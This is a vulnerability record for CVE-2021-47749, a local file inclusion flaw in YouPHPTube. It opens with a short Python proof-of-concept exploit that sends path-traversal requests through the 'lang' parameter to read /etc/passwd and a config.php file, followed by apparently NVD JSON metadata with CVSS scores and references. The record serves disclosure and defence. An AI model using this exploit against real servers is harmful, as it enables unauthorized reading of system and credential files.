CVE-2021-47749

import requests # CVE-2021-47749 PoC - YouPHPTube Local File Inclusion # Target: YouPHPTube <= 7.8 # Vulnerability: Path traversal in lang parameter via locale/function.php def exploit_lfi(target_url, filename): """ Exploit Local File Inclusion vulnerability Args: target_url: Base URL of YouPHPTube instance filename: File to read (e.g., ../../../../etc/passwd) """ # Construct malicious URL with path traversal payload = f"{target_url}/?lang=../../../../{filename}" try: response = requests.get(payload, timeout=10) if response.status_code == 200: print(f"[+] Successfully read: {filename}") print(response.text[:500]) return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example usage if __name__ == "__main__": target = "http://target.com" # Replace with actual target # Read system file exploit_lfi(target, "etc/passwd") # Read configuration file exploit_lfi(target, "var/www/html/config.php")

{"cve": {"id": "CVE-2021-47749", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:48.913", "lastModified": "2026-01-26T16:15:54.887", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "YouPHPTube <= 7.8 contains a local file inclusion vulnerability that allows unauthenticated attackers to access arbitrary files by manipulating the 'lang' parameter in GET requests. Attackers can exploit the path traversal flaw in locale/function.php to include and view PHP files outside the intended directory by using directory traversal sequences."}, {"lang": "es", "value": "YouPHPTube &lt;= 7.8 contiene una vulnerabilidad de inclusión local de ficheros que permite a atacantes no autenticados acceder a ficheros arbitrarios manipulando el parámetro 'lang' en peticiones GET. Los atacantes pueden explotar el fallo de salto de ruta en locale/function.php para incluir y ver ficheros PHP fuera del directorio previsto utilizando secuencias de salto de directorio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:youphptube:youphptube:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.8", "matchCriteriaId": "7384B6B7-3F47-4F2D-91FA-F6C62381B359"}]}]}], "references": [{"url": "https://web.archive.org/web/20170506141644/https://www.youphptube.com/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.exploit-db.com/exploits/51101", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/youphptube-directory-traversal", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51101", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}]}}